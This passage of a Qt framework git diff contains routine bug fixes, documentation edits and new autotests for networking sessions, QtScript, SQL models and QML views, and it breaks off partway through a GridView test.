SIGNAL(stateChanged(QNetworkSession::State)), - q, SLOT(_q_networkSessionStateChanged(QNetworkSession::State))); + q, SLOT(_q_networkSessionStateChanged(QNetworkSession::State)), Qt::QueuedConnection); _q_networkSessionStateChanged(networkSession->state()); } diff --git a/src/network/bearer/qnetworksession.cpp b/src/network/bearer/qnetworksession.cpp index 143d9b5..553410e 100644 --- a/src/network/bearer/qnetworksession.cpp +++ b/src/network/bearer/qnetworksession.cpp @@ -250,6 +250,9 @@ QNetworkSession::QNetworkSession(const QNetworkConfiguration &connectionConfig, } } } + + qRegisterMetaType<QNetworkSession::State>(); + qRegisterMetaType<QNetworkSession::SessionError>(); } /*! diff --git a/src/network/bearer/qnetworksession.h b/src/network/bearer/qnetworksession.h index a4baec3..59d048a 100644 --- a/src/network/bearer/qnetworksession.h +++ b/src/network/bearer/qnetworksession.h @@ -146,6 +146,9 @@ QT_END_NAMESPACE QTM_END_NAMESPACE #endif +Q_DECLARE_METATYPE(QNetworkSession::State) +Q_DECLARE_METATYPE(QNetworkSession::SessionError) + QT_END_HEADER #endif // QT_NO_BEARERMANAGEMENT diff --git a/src/opengl/qpixmapdata_gl.cpp b/src/opengl/qpixmapdata_gl.cpp index d12704d..1f95c25 100644 --- a/src/opengl/qpixmapdata_gl.cpp +++ b/src/opengl/qpixmapdata_gl.cpp @@ -586,6 +586,12 @@ QImage QGLPixmapData::toImage() const if (m_renderFbo) { copyBackFromRenderFbo(true); } else if (!m_source.isNull()) { + QImageData *data = const_cast<QImage &>(m_source).data_ptr(); + if (data->paintEngine && data->paintEngine->isActive() + && data->paintEngine->paintDevice() == &m_source) + { + return m_source.copy(); + } return m_source; } else if (m_dirty || m_hasFillColor) { return fillImage(m_fillColor); diff --git a/src/openvg/qvg_symbian.cpp b/src/openvg/qvg_symbian.cpp index b813800..ff0ab13 100644 --- a/src/openvg/qvg_symbian.cpp +++ b/src/openvg/qvg_symbian.cpp @@ -148,7 +148,7 @@ void QVGPixmapData::fromNativeType(void* pixmap, NativeType type) destroyImages(); prevSize = QSize(); - VGImage vgImage = sgImageToVGImage(context, *sgImage); + vgImage = sgImageToVGImage(context, *sgImage); if (vgImage != VG_INVALID_HANDLE) { w = vgGetParameteri(vgImage, VG_IMAGE_WIDTH); h = vgGetParameteri(vgImage, VG_IMAGE_HEIGHT); diff --git a/src/plugins/bearer/icd/dbusdispatcher.cpp b/src/plugins/bearer/icd/dbusdispatcher.cpp index f100a48..13cd8a9 100644 --- a/src/plugins/bearer/icd/dbusdispatcher.cpp +++ b/src/plugins/bearer/icd/dbusdispatcher.cpp @@ -51,10 +51,10 @@ namespace Maemo { /*! - \class DBusDispatcher + \class Maemo::DBusDispatcher - \brief DBusDispatcher is a class, which is able to send DBUS method call - messages and receive unicast signals from DBUS object. + \brief DBusDispatcher is a class that can send DBUS method call + messages and receive unicast signals from DBUS objects. */ class DBusDispatcherPrivate diff --git a/src/plugins/bearer/symbian/qnetworksession_impl.cpp b/src/plugins/bearer/symbian/qnetworksession_impl.cpp index 433eef6..741f8c5 100644 --- a/src/plugins/bearer/symbian/qnetworksession_impl.cpp +++ b/src/plugins/bearer/symbian/qnetworksession_impl.cpp @@ -1552,8 +1552,8 @@ void ConnectionProgressNotifier::StartNotifications() { if (!IsActive()) { SetActive(); + iConnection.ProgressNotification(iProgress, iStatus); } - iConnection.ProgressNotification(iProgress, iStatus); } void ConnectionProgressNotifier::StopNotifications() @@ -1569,10 +1569,10 @@ void ConnectionProgressNotifier::DoCancel() void ConnectionProgressNotifier::RunL() { if (iStatus == KErrNone) { - QT_TRYCATCH_LEAVING(iOwner.handleSymbianConnectionStatusChange(iProgress().iStage, iProgress().iError)); - SetActive(); iConnection.ProgressNotification(iProgress, iStatus); + // warning, this object may be deleted in the callback - do nothing after handleSymbianConnectionStatusChange + QT_TRYCATCH_LEAVING(iOwner.handleSymbianConnectionStatusChange(iProgress().iStage, iProgress().iError)); } } diff --git a/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp b/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp index 6639983..50e0f5f 100644 --- a/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp +++ b/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp @@ -300,40 +300,26 @@ void QDirectFBPixmapData::fromImage(const QImage &img, Qt::ImageConversionFlags { alpha = QDirectFBPixmapData::hasAlphaChannel(img, flags); imageFormat = alpha ? screen->alphaPixmapFormat() : screen->pixelFormat(); + QImage image; if ((flags & ~Qt::NoOpaqueDetection) != Qt::AutoColor) { image = img.convertToFormat(imageFormat, flags); flags = Qt::AutoColor; } else if (img.format() == QImage::Format_RGB32 || img.depth() == 1) { image = img.convertToFormat(imageFormat, flags); + } else if (img.format() != imageFormat) { + image = img.convertToFormat(imageFormat, flags); } else { image = img; } - IDirectFBSurface *imageSurface = screen->createDFBSurface(image, image.format(), QDirectFBScreen::DontTrackSurface); - if (!imageSurface) { - qWarning("QDirectFBPixmapData::fromImage()"); - invalidate(); - return; - } - - dfbSurface = screen->createDFBSurface(image.size(), imageFormat, QDirectFBScreen::TrackSurface); + dfbSurface = screen->createDFBSurface(image, image.format(), QDirectFBScreen::NoPreallocated | QDirectFBScreen::TrackSurface); if (!dfbSurface) { qWarning("QDirectFBPixmapData::fromImage()"); invalidate(); return; } - if (image.hasAlphaChannel()) { - dfbSurface->Clear(dfbSurface, 0, 0, 0, 0); - dfbSurface->SetBlittingFlags(dfbSurface, DSBLIT_BLEND_ALPHACHANNEL); - } else { - dfbSurface->SetBlittingFlags(dfbSurface, DSBLIT_NOFX); - } - - dfbSurface->Blit(dfbSurface, imageSurface, 0, 0, 0); - imageSurface->Release(imageSurface); - w = image.width(); h = image.height(); is_null = (w <= 0 || h <= 0); diff --git a/src/qt3support/network/q3dns.cpp b/src/qt3support/network/q3dns.cpp index c95edc1..d489652 100644 --- a/src/qt3support/network/q3dns.cpp +++ b/src/qt3support/network/q3dns.cpp @@ -2009,15 +2009,20 @@ Q3ValueList<QHostAddress> Q3Dns::addresses() const \class Q3Dns::MailServer \brief The Q3Dns::MailServer class is described in Q3Dns::mailServers(). - \internal +*/ + + +/*! \fn Q3Dns::MailServer::MailServer(const QString& n, Q_UINT16 p) + The constructor sets the public data members name and priority. + \a n is the name and \a p is the priority. */ /*! Returns a list of mail servers if the record type is \c Mx. The class Q3Dns::MailServer contains the following public variables: \list - \i QString Q3Dns::MailServer::name - \i Q_UINT16 Q3Dns::MailServer::priority + \o QString Q3Dns::MailServer::name + \o Q_UINT16 Q3Dns::MailServer::priority \endlist Note that if you want to iterate over the list, you should iterate @@ -2048,22 +2053,26 @@ Q3ValueList<Q3Dns::MailServer> Q3Dns::mailServers() const return result; } - /*! \class Q3Dns::Server \brief The Q3Dns::Server class is described in Q3Dns::servers(). - \internal +*/ + +/*! \fn Q3Dns::Server::Server(const QString& n, Q_UINT16 p, Q_UINT16 w, Q_UINT16 po) + The constructor sets the public data members name, priority, + weight, and port. \a n is the name, \a p is the priority, + \a w is the weight, and \a po is the port. */ /*! Returns a list of servers if the record type is \c Srv. The class Q3Dns::Server contains the following public variables: \list - \i QString Q3Dns::Server::name - \i Q_UINT16 Q3Dns::Server::priority - \i Q_UINT16 Q3Dns::Server::weight - \i Q_UINT16 Q3Dns::Server::port + \o QString Q3Dns::Server::name + \o Q_UINT16 Q3Dns::Server::priority + \o Q_UINT16 Q3Dns::Server::weight + \o Q_UINT16 Q3Dns::Server::port \endlist Note that if you want to iterate over the list, you should iterate diff --git a/src/qt3support/tools/q3memarray.qdoc b/src/qt3support/tools/q3memarray.qdoc index 9f2f1cc..f05f433 100644 --- a/src/qt3support/tools/q3memarray.qdoc +++ b/src/qt3support/tools/q3memarray.qdoc @@ -221,8 +221,8 @@ New elements are not initialized. - \a optim is either Q3GArray::MemOptim (the default) or - Q3GArray::SpeedOptim. When optimizing for speed rather than memory + \a optim is either \c MemOptim (the default) or + \c SpeedOptim. When optimizing for speed rather than memory consumption, the array uses a smart grow and shrink algorithm that might allocate more memory than is actually needed for \a size elements. This speeds up subsequent resize operations, for example diff --git a/src/qt3support/tools/q3ptrlist.qdoc b/src/qt3support/tools/q3ptrlist.qdoc index c4fdf4f..13e478e 100644 --- a/src/qt3support/tools/q3ptrlist.qdoc +++ b/src/qt3support/tools/q3ptrlist.qdoc @@ -93,7 +93,8 @@ also holds pointers to the next and previous list items. The functions currentNode(), removeNode(), and takeNode() operate directly on the Q3LNode, but they should be used with care. The - data component of the node is available through Q3LNode::getData(). + data component of the node is available through Q3LNode's getData() + function. The Q3StrList class is a list of \c char*. It reimplements newItem(), deleteItem() and compareItems(). (But diff --git a/src/script/api/qscriptcontext.cpp b/src/script/api/qscriptcontext.cpp index 59ea52d..2468a46 100644 --- a/src/script/api/qscriptcontext.cpp +++ b/src/script/api/qscriptcontext.cpp @@ -299,6 +299,12 @@ QScriptValue QScriptContext::argumentsObject() const //for a js function if (frame->codeBlock() && frame->callee()) { + if (!QScriptEnginePrivate::hasValidCodeBlockRegister(frame)) { + // We have a built-in JS host call. + // codeBlock is needed by retrieveArguments(), but since it + // contains junk, we would crash. Return an invalid value for now. + return QScriptValue(); + } JSC::JSValue result = frame->interpreter()->retrieveArguments(frame, JSC::asFunction(frame->callee())); return QScript::scriptEngineFromExec(frame)->scriptValueFromJSCValue(result); } @@ -309,7 +315,8 @@ QScriptValue QScriptContext::argumentsObject() const } //for a native function - if (!frame->optionalCalleeArguments()) { + if (!frame->optionalCalleeArguments() + && QScriptEnginePrivate::hasValidCodeBlockRegister(frame)) { // Make sure we don't go here for host JSFunctions Q_ASSERT(frame->argumentCount() > 0); //we need at least 'this' otherwise we'll crash later JSC::Arguments* arguments = new (&frame->globalData())JSC::Arguments(frame, JSC::Arguments::NoParameters); frame->setCalleeArguments(arguments); diff --git a/src/script/api/qscriptcontextinfo.cpp b/src/script/api/qscriptcontextinfo.cpp index db6b2d7..0f9de1d 100644 --- a/src/script/api/qscriptcontextinfo.cpp +++ b/src/script/api/qscriptcontextinfo.cpp @@ -157,7 +157,7 @@ QScriptContextInfoPrivate::QScriptContextInfoPrivate(const QScriptContext *conte JSC::Instruction *returnPC = rewindContext->returnPC(); JSC::CodeBlock *codeBlock = frame->codeBlock(); - if (returnPC && codeBlock) { + if (returnPC && codeBlock && QScriptEnginePrivate::hasValidCodeBlockRegister(frame)) { #if ENABLE(JIT) unsigned bytecodeOffset = codeBlock->getBytecodeIndex(frame, JSC::ReturnAddressPtr(returnPC)); #else @@ -171,7 +171,7 @@ QScriptContextInfoPrivate::QScriptContextInfoPrivate(const QScriptContext *conte // Get the filename and the scriptId: JSC::CodeBlock *codeBlock = frame->codeBlock(); - if (codeBlock) { + if (codeBlock && QScriptEnginePrivate::hasValidCodeBlockRegister(frame)) { JSC::SourceProvider *source = codeBlock->source(); scriptId = source->asID(); fileName = source->url(); @@ -181,7 +181,8 @@ QScriptContextInfoPrivate::QScriptContextInfoPrivate(const QScriptContext *conte JSC::JSObject *callee = frame->callee(); if (callee && callee->inherits(&JSC::InternalFunction::info)) functionName = JSC::asInternalFunction(callee)->name(frame); - if (callee && callee->inherits(&JSC::JSFunction::info)) { + if (callee && callee->inherits(&JSC::JSFunction::info) + && !JSC::asFunction(callee)->isHostFunction()) { functionType = QScriptContextInfo::ScriptFunction; JSC::FunctionExecutable *body = JSC::asFunction(callee)->jsExecutable(); functionStartLineNumber = body->lineNo(); diff --git a/src/script/api/qscriptengine.cpp b/src/script/api/qscriptengine.cpp index 76d9ab2..9f36953 100644 --- a/src/script/api/qscriptengine.cpp +++ b/src/script/api/qscriptengine.cpp @@ -858,7 +858,8 @@ JSC::JSValue JSC_HOST_CALL functionQsTr(JSC::ExecState *exec, JSC::JSObject*, JS { JSC::ExecState *frame = exec->callerFrame()->removeHostCallFrameFlag(); while (frame) { - if (frame->codeBlock() && frame->codeBlock()->source() + if (frame->codeBlock() && QScriptEnginePrivate::hasValidCodeBlockRegister(frame) + && frame->codeBlock()->source() && !frame->codeBlock()->source()->url().isEmpty()) { context = engine->translationContextFromUrl(frame->codeBlock()->source()->url()); break; diff --git a/src/script/api/qscriptengine_p.h b/src/script/api/qscriptengine_p.h index f8144e9..94d195e 100644 --- a/src/script/api/qscriptengine_p.h +++ b/src/script/api/qscriptengine_p.h @@ -56,6 +56,7 @@ #include "Debugger.h" #include "ErrorInstance.h" #include "JSArray.h" +#include "Executable.h" #include "Lexer.h" #include "RefPtr.h" #include "RegExpConstructor.h" @@ -231,6 +232,8 @@ public: static inline JSC::ExecState *frameForContext(QScriptContext *context); static inline const JSC::ExecState *frameForContext(const QScriptContext *context); + static inline bool hasValidCodeBlockRegister(JSC::ExecState *frame); + JSC::JSGlobalObject *originalGlobalObject() const; JSC::JSObject *getOriginalGlobalObjectProxy(); JSC::JSObject *customGlobalObject() const; @@ -862,6 +865,21 @@ inline const JSC::ExecState *QScriptEnginePrivate::frameForContext(const QScript return reinterpret_cast<const JSC::ExecState*>(context); } +inline bool QScriptEnginePrivate::hasValidCodeBlockRegister(JSC::ExecState *frame) +{ +#if ENABLE(JIT) + // Frames created by the VM don't have their CodeBlock register + // initialized. We can detect such frames by checking if the + // callee is a host JSFunction. + JSC::JSObject *callee = frame->callee(); + return !(callee && callee->inherits(&JSC::JSFunction::info) + && JSC::asFunction(callee)->isHostFunction()); +#else + Q_UNUSED(frame); + return true; +#endif +} + inline JSC::ExecState *QScriptEnginePrivate::globalExec() const { return originalGlobalObject()->globalExec(); diff --git a/src/sql/drivers/oci/qsql_oci.h b/src/sql/drivers/oci/qsql_oci.h index 51fd14c..22bd78d 100644 --- a/src/sql/drivers/oci/qsql_oci.h +++ b/src/sql/drivers/oci/qsql_oci.h @@ -54,6 +54,9 @@ QT_BEGIN_HEADER +typedef struct OCIEnv OCIEnv; +typedef struct OCISvcCtx OCISvcCtx; + QT_BEGIN_NAMESPACE class QOCIDriver; @@ -61,9 +64,6 @@ class QOCICols; struct QOCIDriverPrivate; struct QOCIResultPrivate; -typedef struct OCIEnv OCIEnv; -typedef struct OCISvcCtx OCISvcCtx; - class Q_EXPORT_SQLDRIVER_OCI QOCIResult : public QSqlCachedResult { friend class QOCIDriver; diff --git a/src/sql/kernel/qsqldatabase.cpp b/src/sql/kernel/qsqldatabase.cpp index 66808c8..b0ae8d9 100644 --- a/src/sql/kernel/qsqldatabase.cpp +++ b/src/sql/kernel/qsqldatabase.cpp @@ -798,7 +798,7 @@ void QSqlDatabasePrivate::init(const QString &type) Destroys the object and frees any allocated resources. If this is the last QSqlDatabase object that uses a certain - database connection, the is automatically closed. + database connection, the database connection is automatically closed. \sa close() */ diff --git a/src/sql/kernel/qsqlquery.cpp b/src/sql/kernel/qsqlquery.cpp index 4b92a3e..3cdc8b1 100644 --- a/src/sql/kernel/qsqlquery.cpp +++ b/src/sql/kernel/qsqlquery.cpp @@ -272,7 +272,7 @@ static void qInit(QSqlQuery *q, const QString& query, QSqlDatabase db) /*! Constructs a QSqlQuery object using the SQL \a query and the - database \a db. If \a db is not specified, the application's + database \a db. If \a db is not specified, or is invalid, the application's default database is used. If \a query is not an empty string, it will be executed. @@ -286,6 +286,7 @@ QSqlQuery::QSqlQuery(const QString& query, QSqlDatabase db) /*! Constructs a QSqlQuery object using the database \a db. + If \a db is invalid, the application's default database will be used. \sa QSqlDatabase */ diff --git a/src/sql/models/qsqlquerymodel.cpp b/src/sql/models/qsqlquerymodel.cpp index 8730192..d1051de 100644 --- a/src/sql/models/qsqlquerymodel.cpp +++ b/src/sql/models/qsqlquerymodel.cpp @@ -279,7 +279,11 @@ QVariant QSqlQueryModel::headerData(int section, Qt::Orientation orientation, in val = d->headers.value(section).value(Qt::EditRole); if (val.isValid()) return val; - if (role == Qt::DisplayRole && d->rec.count() > section) + + // See if it's an inserted column (iiq.column() != -1) + QModelIndex dItem = indexInQuery(createIndex(0, section)); + + if (role == Qt::DisplayRole && d->rec.count() > section && dItem.column() != -1) return d->rec.fieldName(section); } return QAbstractItemModel::headerData(section, orientation, role); @@ -306,6 +310,8 @@ void QSqlQueryModel::queryChange() lastError() can be used to retrieve verbose information if there was an error setting the query. + \note Calling setQuery() will remove any inserted columns. + \sa query(), QSqlQuery::isActive(), QSqlQuery::setForwardOnly(), lastError() */ void QSqlQueryModel::setQuery(const QSqlQuery &query) @@ -370,7 +376,8 @@ void QSqlQueryModel::setQuery(const QSqlQuery &query) /*! \overload Executes the query \a query for the given database connection \a - db. If no database is specified, the default connection is used. + db. If no database (or an invalid database) is specified, the + default connection is used. lastError() can be used to retrieve verbose information if there was an error setting the query. diff --git a/src/sql/models/qsqltablemodel.cpp b/src/sql/models/qsqltablemodel.cpp index 3bb46cc..4df1d63 100644 --- a/src/sql/models/qsqltablemodel.cpp +++ b/src/sql/models/qsqltablemodel.cpp @@ -393,6 +393,8 @@ QString QSqlTableModel::tableName() const specified filter and sort condition, and returns true if successful; otherwise returns false. + \note Calling select() will revert any unsubmitted changes and remove any inserted columns. + \sa setTable(), setFilter(), selectStatement() */ bool QSqlTableModel::select() @@ -423,6 +425,10 @@ QVariant QSqlTableModel::data(const QModelIndex &index, int role) const if (!index.isValid() || (role != Qt::DisplayRole && role != Qt::EditRole)) return QVariant(); + // Problem.. we need to use QSQM::indexInQuery to handle inserted columns + // but inserted rows we need to handle + // and indexInQuery is not virtual (grrr) so any values we pass to QSQM need + // to handle the insertedRows QModelIndex item = indexInQuery(index); switch (d->strategy) { @@ -450,7 +456,9 @@ QVariant QSqlTableModel::data(const QModelIndex &index, int role) const return var; break; } } - return QSqlQueryModel::data(item, role); + + // We need to handle row mapping here, but not column mapping + return QSqlQueryModel::data(index.sibling(item.row(), index.column()), role); } /*! @@ -1095,9 +1103,12 @@ bool QSqlTableModel::removeRows(int row, int count, const QModelIndex &parent) int idx = row + i; if (idx >= rowCount()) return false; - if (d->cache.value(idx).op == QSqlTableModelPrivate::Insert) + if (d->cache.value(idx).op == QSqlTableModelPrivate::Insert) { revertRow(idx); - else { + // Reverting a row means all the other cache entries have been adjusted downwards + // so fake this by adjusting row + --row; + } else { d->cache[idx].op = QSqlTableModelPrivate::Delete; d->cache[idx].primaryValues = d->primaryValues(indexInQuery(createIndex(idx, 0)).row()); emit headerDataChanged(Qt::Vertical, idx, idx); @@ -1225,7 +1236,7 @@ int QSqlTableModel::rowCount(const QModelIndex &parent) const QModelIndex QSqlTableModel::indexInQuery(const QModelIndex &item) const { Q_D(const QSqlTableModel); - const QModelIndex it = QSqlQueryModel::indexInQuery(item); + const QModelIndex it = QSqlQueryModel::indexInQuery(item); // this adjusts columns only if (d->strategy == OnManualSubmit) { int rowOffset = 0; QSqlTableModelPrivate::CacheMap::ConstIterator i = d->cache.constBegin(); @@ -1332,6 +1343,9 @@ bool QSqlTableModel::setRecord(int row, const QSqlRecord &record) else mrow.rec.setValue(idx, record.value(i)); } + + if (isOk) + emit dataChanged(createIndex(row, 0), createIndex(row, columnCount() - 1)); return isOk; } } return false; diff --git a/src/sql/sql.pro b/src/sql/sql.pro index 54f4289..81aa3c0 100644 --- a/src/sql/sql.pro +++ b/src/sql/sql.pro @@ -20,7 +20,10 @@ include(models/models.pri) symbian: { TARGET.UID3=0x2001E61D - # Workaroud for problems with paging this dll - MMP_RULES -= PAGED - MMP_RULES *= UNPAGED + # Problems using data exports from this DLL mean that we can't page it on releases that don't support + # data exports (currently that's any release before Symbian^3) + pagingBlock = "$${LITERAL_HASH}ifndef SYMBIAN_DLL_DATA_EXPORTS_SUPPORTED" \ + "UNPAGED" \ + "$${LITERAL_HASH}endif" + MMP_RULES += pagingBlock } diff --git a/tests/auto/auto.pro b/tests/auto/auto.pro index c0004f7..c677249 100644 --- a/tests/auto/auto.pro +++ b/tests/auto/auto.pro @@ -19,4 +19,5 @@ contains(QT_CONFIG, multimedia): SUBDIRS += multimedia.pro contains(QT_CONFIG, phonon): SUBDIRS += phonon.pro contains(QT_CONFIG, svg): SUBDIRS += svg.pro contains(QT_CONFIG, declarative): SUBDIRS += declarative.pro +!symbian SUBDIRS += help.pro diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml new file mode 100644 index 0000000..cf5b601 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml @@ -0,0 +1,17 @@ +import QtQuick 1.0 + +Rectangle { + width: 500 + height: 500 + + AnimatedImage { + objectName: "anim" + anchors.centerIn: parent + asynchronous: true + opacity: status == AnimatedImage.Ready ? 1 : 0 + + Behavior on opacity { + NumberAnimation { duration: 1000 } + } + } +} diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp index eba4239..104ee15 100644 --- a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp +++ b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp @@ -75,6 +75,7 @@ private slots: void sourceSize(); void sourceSizeReadOnly(); void invalidSource(); + void qtbug_16520(); private: QPixmap grabScene(QGraphicsScene *scene, int width, int height); @@ -307,6 +308,29 @@ void tst_qdeclarativeanimatedimage::invalidSource() QVERIFY(!anim->isPaused()); QCOMPARE(anim->currentFrame(), 0); QCOMPARE(anim->frameCount(), 0); + QTRY_VERIFY(anim->status() == 3); +} + +void tst_qdeclarativeanimatedimage::qtbug_16520() +{ + TestHTTPServer server(14449); + QVERIFY(server.isValid()); + server.serveDirectory(SRCDIR "/data"); + + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/qtbug-16520.qml")); + QTRY_VERIFY(component.isReady()); + + QDeclarativeRectangle *root = qobject_cast<QDeclarativeRectangle *>(component.create()); + QVERIFY(root); + QDeclarativeAnimatedImage *anim = root->findChild<QDeclarativeAnimatedImage*>("anim"); + + anim->setProperty("source", "http://127.0.0.1:14449/stickman.gif"); + + QTRY_VERIFY(anim->opacity() == 0); + QTRY_VERIFY(anim->opacity() == 1); + + delete anim; } QTEST_MAIN(tst_qdeclarativeanimatedimage) diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml b/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml new file mode 100644 index 0000000..49293ed --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml @@ -0,0 +1,5 @@ +import Qt.test 1.0 + +MyQmlObject { + onSignalWithUnknownType: variantMethod(arg); +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp index d7f0f42..7e63bd5 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp @@ -125,6 +125,8 @@ void registerTypes() qmlRegisterExtendedType<QWidget,QWidgetDeclarativeUI>("Qt.test",1,0,"QWidget"); qmlRegisterType<QPlainTextEdit>("Qt.test",1,0,"QPlainTextEdit"); + + qRegisterMetaType<MyQmlObject::MyType>("MyQmlObject::MyType"); } #include "testtypes.moc" diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h index fb54a54..081cc4c 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h +++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h @@ -152,6 +152,11 @@ public: MyQmlObject *myinvokableObject; Q_INVOKABLE MyQmlObject *returnme() { return this; } + struct MyType { + int value; + }; + QVariant variant() const { return m_variant; } + signals: void basicSignal(); void argumentSignal(int a, QString b, qreal c); @@ -159,6 +164,7 @@ signals: void objectChanged(); void anotherBasicSignal(); void thirdBasicSignal(); + void signalWithUnknownType(const MyQmlObject::MyType &arg); public slots: void deleteMe() { delete this; } @@ -166,6 +172,7 @@ public slots: void method(int a) { if(a == 163) m_methodIntCalled = true; } void setString(const QString &s) { m_string = s; } void myinvokable(MyQmlObject *o) { myinvokableObject = o; } + void variantMethod(const QVariant &v) { m_variant = v; } private: friend class tst_qdeclarativeecmascript; @@ -178,6 +185,7 @@ private: int m_value; int m_resetProperty; QRegExp m_regExp; + QVariant m_variant; }; QML_DECLARE_TYPEINFO(MyQmlObject, QML_HAS_ATTACHED_PROPERTIES) @@ -898,6 +906,7 @@ QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered) QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered) QML_DECLARE_TYPE(MyRevisionedClass) QML_DECLARE_TYPE(MyRevisionedSubclass) +Q_DECLARE_METATYPE(MyQmlObject::MyType) void registerTypes(); diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index f66cd0b..b19b3c9 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -142,6 +142,7 @@ private slots: void compiled(); void numberAssignment(); void propertySplicing(); + void signalWithUnknownTypes(); void bug1(); void bug2(); @@ -2340,6 +2341,26 @@ void tst_qdeclarativeecmascript::propertySplicing() delete object; } +// QTBUG-16683 +void tst_qdeclarativeecmascript::signalWithUnknownTypes() +{ + QDeclarativeComponent component(&engine, TEST_FILE("signalWithUnknownTypes.qml")); + + MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create()); + QVERIFY(object != 0); + + MyQmlObject::MyType type; + type.value = 0x8971123; + emit object->signalWithUnknownType(type); + + MyQmlObject::MyType result = qvariant_cast<MyQmlObject::MyType>(object->variant()); + + QCOMPARE(result.value, type.value); + + + delete object; +} + // Test that assigning a null object works // Regressed with: df1788b4dbbb2826ae63f26bdf166342595343f4 void tst_qdeclarativeecmascript::nullObjectBinding() diff --git a/tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml b/tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml new file mode 100644 index 0000000..d527e9d --- /dev/null +++ b/tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml @@ -0,0 +1,27 @@ +import QtQuick 1.0 + +GridView { + id: view + width: 240; height: 320 + + property variant addedDelegates: [] + property int removedDelegateCount + + model: testModel + + cellWidth: delegateWidth; cellHeight: delegateHeight + + delegate: Rectangle { + width: delegateWidth; height: delegateHeight + border.width: 1 + GridView.onAdd: { + var obj = GridView.view.addedDelegates + obj.push(model.name) + GridView.view.addedDelegates = obj + } + GridView.onRemove: { + view.removedDelegateCount += 1 + } + } +} + diff --git a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp index 82a1a4a..79189a7 100644 --- a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp +++ b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp @@ -86,6 +86,10 @@ private slots: void footer(); void header(); void indexAt(); + void onAdd(); + void onAdd_data(); + void onRemove(); + void onRemove_data(); void testQtQuick11Attributes(); void testQtQuick11Attributes_data(); @@ -131,6 +135,13 @@ public: emit endInsertRows(); } + void addItems(const QList<QPair<QString, QString> > &items) { + emit beginInsertRows(QModelIndex(), list.count(), list.count()+items.count()-1); + for (int i=0; i<items.count(); i++) + list.append(QPair<QString,QString>(items[i].first, items[i].second)); + emit endInsertRows(); + } + void insertItem(int index, const QString &name, const QString &number) { emit beginInsertRows(QModelIndex(), index, index); list.insert(index, QPair<QString,QString>(name, number)); @@ -143,6 +154,13 @@ public: emit endRemoveRows(); } + void removeItems(int index, int count) { + emit beginRemoveRows(QModelIndex(), index, index+count-1); + while (count--) + list.removeAt(index); + emit endRemoveRows(); + } + void moveItem(int from, int to) { emit beginMoveRows(QModelIndex(), from, from, QModelIndex(), to); list.move(from, to); @@ -1388,7 +1406,7 @@ void tst_QDeclarativeGridView::footer() footer = findItem<QDeclarativeText>(contentItem, "footer2"); QVERIFY(footer); - QCOMPARE(footer->y(), 0.0); + QCOMPARE(footer->y(), 600.0); QCOMPARE(footer->height(), 20.0); QCOMPARE(gridview->contentY(), 0.0); } @@ -1437,9 +1455,9 @@ void tst_QDeclarativeGridView::header() header = findItem<QDeclarativeText>(contentItem, "header2"); QVERIFY(header); - QCOMPARE(header->y(), 0.0); + QCOMPARE(header->y(), 10.0); QCOMPARE(header->height(), 20.0); - QCOMPARE(gridview->contentY(), 0.0); + QCOMPARE(gridview->contentY(), 10.0); } void tst_QDeclarativeGridView::indexAt() @@ -1479,6 +1497,117 @@ void tst_QDeclarativeGridView::indexAt() delete canvas; } +void tst_QDeclarativeGridView::onAdd() +{ + QFETCH(int, initialItemCount); + QFETCH(int, itemsToAdd); + + const int delegateWidth = 50; + const int delegateHeight = 100; + TestModel model; + QDeclarativeView *canvas = createView(); + canvas->setFixedSize(5 * delegateWidth, 5 * delegateHeight); // just ensure all items fit + + // these initial items should not trigger GridView.onAdd + for (int i=0; i<initialItemCount; i++) + model.addItem("dummy value", "dummy value"); + + QDeclarativeContext *ctxt = canvas->rootContext(); + ctxt->setContextProperty("testModel", &model); + ctxt->setContextProperty("delegateWidth", delegateWidth); + ctxt->setContextProperty("delegateHeight", delegateHeight); + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml")); + + QObject *object = canvas->rootObject(); + object->setProperty("width", canvas->width()); + object->setProperty("height", canvas->height()); + qApp->processEvents(); + + 